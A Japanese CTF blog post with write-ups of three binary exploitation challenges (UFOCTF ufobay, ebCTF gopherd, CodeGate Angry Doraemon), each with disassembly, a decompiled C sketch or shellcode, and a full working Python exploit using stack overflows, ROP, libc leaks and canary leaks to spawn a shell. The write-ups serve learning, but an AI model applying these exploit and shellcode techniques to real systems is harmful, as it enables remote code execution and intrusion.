h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その4

前回

h-noson.hatenablog.jp

[UFOCTF 2013] Pwn100 - ufobay

ELF 32-bit、静的リンク。

% file ufobay
ufobay: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 9.1, stripped

FreeBSD用にコンパイルされたものなのでFreeBSD上で実行する必要がある。
実行すると1337番ポートで待ち、ncで接続するとノートのようなプログラムであることがわかる。

% nc 192.168.33.10 1337
What can we do 4 you?:
1) Send parsel
2) Get parsel
3) Check state of parsel
4) Delete parsel
5) Quit

>1
Source:
        >A
Destination:
        >B
Length of your parsel:
        >3
Your parsel:
        >CCC
Your parsel`s ID: 6

>

deleteがあることからUAFなどのバグかと思ったが、単純なstack BOFだった。Your parselの部分で最大0x100文字入力可能であるが十分なバッファが確保されていないためBOFし、EIPを書き換えられる。戻り番地としてcall espのgadgetを使い、続けてシェルコードを入力することでシェルを起動する。

ただし今回はFreeBSDであるためsystem callの呼び出し方が少し違う。

f:id:h_noson:20171028043526p:plain

Linuxでは引数をすべてレジスタに代入していたが、FreeBSDでは普通の関数呼び出しのように引数をスタックに積んでsystem callを呼び出す。戻り番地(dummy)と書いた部分は必要ないので適当な値を入れておく。system callの番号はLinuxと同じようにeaxに書き込む。これを踏まえて以下のようなシェルコードを書いた。

; dup2(5,0)
xor ebx, ebx
mov bl, 0x5
xor eax, eax
push eax
push ebx
push eax
mov al, 0x5a
int 0x80

; dup2(5,1)
xor eax, eax
mov al, 0x1
push eax
push ebx
push eax
mov al, 0x5a
int 0x80

; dup2(5,2)
xor eax, eax
mov al, 0x2
push eax
push ebx
push eax
mov al, 0x5a
int 0x80

; execve("/bin//sh",{"/bin//sh",NULL},NULL)
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov edx, esp
push eax
push edx
push ebx
push eax
mov al, 0x3b
int 0x80
#!/usr/bin/env python
from pwnlib import *

def send(src,dst,parsel):
    s.sendline('1')
    s.sendline(src)
    s.sendline(dst)
    s.sendline(str(len(parsel)))
    s.sendline(parsel)

if __name__ == '__main__':
    s = Remote('192.168.33.10',1337)
    call_esp = 0x80ff46d
    payload = ''
    payload += 'A' * 0xac
    payload += p32(call_esp)
    payload += get_shellcode('bsddup32')
    send('A','A',payload)
    s.interact()
% ./exploit.py
[*] Switching to interactive mode
What can we do 4 you?:
1) Send parsel
2) Get parsel
3) Check state of parsel
4) Delete parsel
5) Quit

>Source:
        >Destination:
        >Length of your parsel:
        >Your parsel:
        >
$ ls
ufobay
ufobay.db
$ id
uid=1002(ufobay) gid=1003(ufobay) groups=1003(ufobay)
$

[ebCTF 2013] pwn300

ELF 32-bit、動的リンク、NX有効。

% file gopherd
gopherd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e7ae194088aed73248076ae760f82c373ee42196, not stripped
% checksec -f gopherd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               16   gopherd

intro.txtとgoprootを作成すると実行できる。引数にポート番号を与えて実行するとそのポートで待機する。TCPで接続して適当に文字列を入力してみても何も返らず動作がわからなかったため大雑把にデコンパイルした。

#include <stdio.h>

typedef struct hash {
    char *str;
    int num;
    char *msg;
} hash;

typedef struct hashlist {
    hash *list;
    int count;
} hashlist;

void hashlist_init(hashlist *hl) {
    hl->count = 0;
    hl->list = malloc(0xc);
}

hashlist *hashlist_new() {
    hashlist *hl = malloc(8);
    hashlist_init(hl);
    return hl;
}

void hashlist_push(hashlist *hl, char *str, int num, char *msg) {
    hl->count++;
    hl->list = realloc(hl->list,hl->count * 12);
    hl->list[count-1].str = strdup(str);
    hl->list[count-1].num = num;
    hl->list[count-1].msg = msg;
}

hash *hashlist_find(hashlist *hl, char *bin) {
    for (int i = 0; i < hl->count; i++) {
    }
    return 0;
}

int n_to_i(char c) {
    if (c >= '0' && c <= '9') {
        return c - '0';
    }
    else if (c >= 'a' && c <= 'f') {
        return c - 'W';
    }
    else if (c >= 'A' && c <= 'F') {
        return c - '7';
    }
    else {
        return c;
    }
}

void ascii_to_bin(char *str, char *bin) {
    for (int i = 0; i < strlen(str); i++) {
        bin[i] = n_to_i(str[2 * i]) << 4 | n_to_i(str[2 * i + 1]);
    }
}

void read_from_client(int fd, hashlist *hl) {
    char buf[0xff], bin[0x10];
    int len = read(fd,buf,0xff);
    if (len < 0) {
        perror("read");
        exit(1);
    }
    if (len == 0) return -1;
    if (len <= 1) return -1;
    if (buf[len-2] != '\r' || buf[len-1] != '\n') return -1;
    buf[len-1] = buf[len-2] = '\0';
    len -= 2;
    if (buf[0] == '\0') {
        gopher_list(hl,fd);
        return -1;
    }
    ascii_to_bin(buf,bin);
    int x = hashlist_find(hl,bin);
    if (x == 0) return -1;
}

int main(int argc, char *argv[]) {
    hashlist *hl = hashlist_new();
    FILE *fp = fopen("intro.txt","rb");
    if (!feof(fp)) {
        char str[0x100];
        fgets(str,0xff,fp);
        str[strlen(str)-1] = '\0';
        hashlist_push(hl,str,0,"can't touch this!\n");
    }
    fclose(fp);
    hashlist_fill_dir(hl,"./goproot");
    puts("\033[1m>>\033[0m RICKEY GOPHERTS v0.2 READY.");
    int sock = make_socket(atoi(argv[1]));
    return 0;
}

hashlistなどの構造体があるが攻撃には関係ないので説明は省く。
TCPで接続するとread_from_clientが呼び出され0xff文字読み込む。ascii_to_binでその文字列を16進の文字列であると解釈して、バイナリ列に変換しbinに書き込むがbinの領域が小さいためstack BOFする。これを使ってROPを構成し、シェルを起動する。
ただしascii_to_binの直後にhashlist_findを呼び出しており、引数としてhl(hashlistの構造体)を使っていて、これはBOFの際に上書きしてしまうため、辻褄の合うように上書きしなくてはならない。hashlist_findではhl->countの分だけループしているのでhl->countが0以下になるようなアドレスで上書きすればいい。atoiのGOTを使ったらうまくいった。あとはいつも通りROPするだけ。

#!/usr/bin/env python
from pwnlib import *

def encode(s):
    s = list(''.join(map(lambda c: "%02x" % ord(c),list(s))))
    # s[len(s)//2] = '\0'
    return ''.join(s) + '\r\n'

if __name__ == '__main__':
    s = Remote('localhost',3000)

    pop2ret = 0x8048d93
    pop3ret = 0x804926b
    pop4ret = 0x804a7dc
    send_plt = 0x8048a20
    read_plt = 0x80487c0
    atoi_plt = 0x80489c0
    atoi_got = 0x804c090
    atoi_offset = 0x2d050
    system_offset = 0x3a940
    bss_addr = 0x804c120

    payload = ''
    payload += 'A' * 0x24
    payload += p32(pop2ret) + p32(4) + p32(atoi_got)
    payload += p32(send_plt)
    payload += p32(pop4ret)
    payload += p32(4) + p32(atoi_got) + p32(4) + p32(0)
    payload += p32(read_plt)
    payload += p32(pop3ret)
    payload += p32(4) + p32(atoi_got) + p32(4)
    payload += p32(read_plt)
    payload += p32(atoi_plt)
    payload += p32(4) + p32(bss_addr) + p32(0x100)

    payload = encode(payload)
    s.send(payload)
    libc_base = u32(s.recv(4)) - atoi_offset
    print '[*] libc base: %#x' % libc_base
    s.send(p32(libc_base + system_offset))
    s.send('/bin/sh >&4 <&4')
    s.interact()
% ./exploit.py
[*] libc base: 0xf75e7000
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$

[CodeGate-2014] Angry Doraemon pwn250

ELF 32bit、動的リンク、SSPとNX有効。

% file angry_doraemon_c927b1681064f78612ce78f6b93c14d9
angry_doraemon_c927b1681064f78612ce78f6b93c14d9: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=52386ef1e094f4cde5996d3755aa4363959d0a83, stripped
% checksec -f angry_doraemon_c927b1681064f78612ce78f6b93c14d9
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4    angry_doraemon_c927b1681064f78612ce78f6b93c14d9

mouse.txt,bread.txt,doraemon.txt,fs.txt,ps.txtを作成すると実行できる。

% nc localhost 8888

  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>

ドラえもんと戦うプログラムのようで、攻撃方法を1-5から選ぶとそれぞれの中で入力があったりしてHPが減ったり増えたりする。

バグ(というかひっかけ)はいくつかあるのだが実際に使うのは4.Throw mouseで起こせるstack BOF

 804902f:   c7 44 24 08 6e 00 00    mov    DWORD PTR [esp+0x8],0x6e
 8049036:   00
 8049037:   8d 45 ea                lea    eax,[ebp-0x16]
 804903a:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804903e:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8049041:   89 04 24                mov    DWORD PTR [esp],eax
 8049044:   e8 d7 f5 ff ff          call   8048620 <read@plt>

ebp-0x16から0x6eバイト書き込むことができる。今回SSPが有効なのでcanaryをリークする必要がある。上のreadで読み込んだ文字列はnull終端されていないためcanaryの1バイト目まで文字列を埋めればcanaryをリークすることができる。この時点でSSPに引っ掛かりプログラムは終了するがfork-server型であるためcanaryの値は変わらない。よって新たに接続してもここでリークできたcanaryを使ってSSPを回避できる。あとはいつも通りROPを組んでシェルを起動する。

#!/usr/bin/env python
from pwnlib import *

def throw(data):
    s.sendlineafter('4','>')
    s.sendafter(data,'(y/n) ')

if __name__ == '__main__':
    s = Remote('localhost',8888)
    throw('y' * 11)
    s.recvuntil('y' * 11)
    canary = u32(s.recv(3)) << 8
    print '[*] canary: %#x' % canary
    s.close()

    s = Remote('localhost',8888)

    read_plt = 0x8048620
    read_got = 0x804b010
    read_offset = 0xd4350
    write_plt = 0x80486e0
    system_offset = 0x3a940
    pop3ret = 0x8048b2c
    leave_ret = 0x8048996
    bss_addr = 0x804b080 + 0x500

    payload = ''
    payload += 'y' * 10
    payload += p32(canary)
    payload += 'A' * 0xc
    payload += p32(write_plt)
    payload += p32(pop3ret)
    payload += p32(4) + p32(read_got) + p32(4)
    payload += p32(read_plt)
    payload += p32(pop3ret)
    payload += p32(4) + p32(bss_addr) + p32(bss_addr)
    payload += p32(leave_ret)
    throw(payload)

    libc_base = u32(s.recv(4)) - read_offset
    print '[*] libc base: %#x' % libc_base
    payload = ''
    payload += 'A' * 4
    payload += p32(libc_base + system_offset)
    payload += 'A' * 4
    payload += p32(bss_addr + 0x10)
    payload += '/bin/sh >&4 <&4\0'
    s.send(payload)
    s.interact()
% ./exploit.py
[*] canary: 0x93379400
[*] libc base: 0xf7526000
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$